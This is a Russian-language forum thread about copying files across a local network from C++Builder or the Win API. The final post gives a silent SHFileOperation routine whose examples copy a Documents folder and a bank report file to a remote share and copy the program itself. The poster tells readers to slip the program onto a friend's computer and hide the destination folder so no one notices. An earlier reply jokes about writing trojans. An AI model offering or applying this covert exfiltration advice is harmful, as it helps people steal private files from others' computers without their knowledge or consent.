Копирование файдов по сети

sancao

New member
06.10.2009
4
0
#1
Help!!! Помогите ! Проблема копирования файлов по сети с компа на комп из прог на CBuilder 6 или Win API!
Пожлста!!!!
 

sancao

New member
06.10.2009
4
0
#3
Испльзую обычную сетку и функции CopyFileTo c параметрами напр ( ''\\\\Rmrz.C:\\Data\\12.wav , \\\\Rmaa.C:\\Data\\12.wav) а результата никакого. Пытался по сети копировать сам на себя как бы по сетке CopyFile - рез тот же.
Если есть кусочек софта пришлите пож!!

Испльзую обычную сетку и функции CopyFileTo c параметрами напр ( ''\\\\Rmrz.C:\\Data\\12.wav , \\\\Rmaa.C:\\Data\\12.wav) а результата никакого. Пытался по сети копировать сам на себя как бы по сетке CopyFile - рез тот же.
Если есть кусочек софта пришлите пож!!
 

vital

Больной Компом Детектед
29.01.2006
2 432
33
#4
Компоненты ServerSocket и ClientSocket (или их аналоги от Indy) вам в помощь. Ну а как их использовать много раз написано в гугле.
 

alekssgor

Well-known member
26.05.2008
118
0
#6
Компоненты ServerSocket и ClientSocket (или их аналоги от Indy) вам в помощь. Ну а как их использовать много раз написано в гугле.
Компоненты хорошие но тяжёлые(скажем троян не напишишь, для примера).
Лучше использовать библиотеку API Windows WinSock .
Почитай справку по функциям описанные в файле #include "winsock2.h"
(Весь файл будет весить не более 30 кБ)
 

alekssgor

Well-known member
26.05.2008
118
0
#7
C++:
//WinApi вариант

int MovieFiles(char* slSourceDir, char* slTargetDir, bool toCopy = true)
{
SHFILEOPSTRUCT sh;
sh.fFlags = FOF_NOCONFIRMATION|FOF_SILENT|FOF_FILESONLY;
sh.wFunc = toCopy ? FO_COPY : FO_MOVE;
sh.pFrom = slSourceDir;
sh.pTo = slTargetDir;
sh.hNameMappings = NULL;
sh.lpszProgressTitle = NULL;
return SHFileOperation(&sh);
}

//Копирует все фалы из папке Documents(вложенные папки не копируются).

MovieFiles("C:\\Users\\Александр\\Documents\\*.*","\\\\nootbook\\Public\\Documents");

//Копирует всё из папки Documents (включая вложенные папки).

MovieFiles("C:\\Users\\Александр\\Documents","\\\\nootbook\\Public\\Documents");

//Копирует определённый файл

MovieFiles("C:\\Users\\Александр\\Documents\\sberbank_othet.txt","\\\\nootbook\\Public\\Documents");

//Копирует самого себя

MovieFiles("*.exe","\\\\nootbook\\Public\\Documents");

//Короче подсовывай этот файл другу по локальной сети и открывай общий доступ для записи на своём компе и 
после копирования файла к себе делай папку скрытой чтоб никто не догодался :bequiet: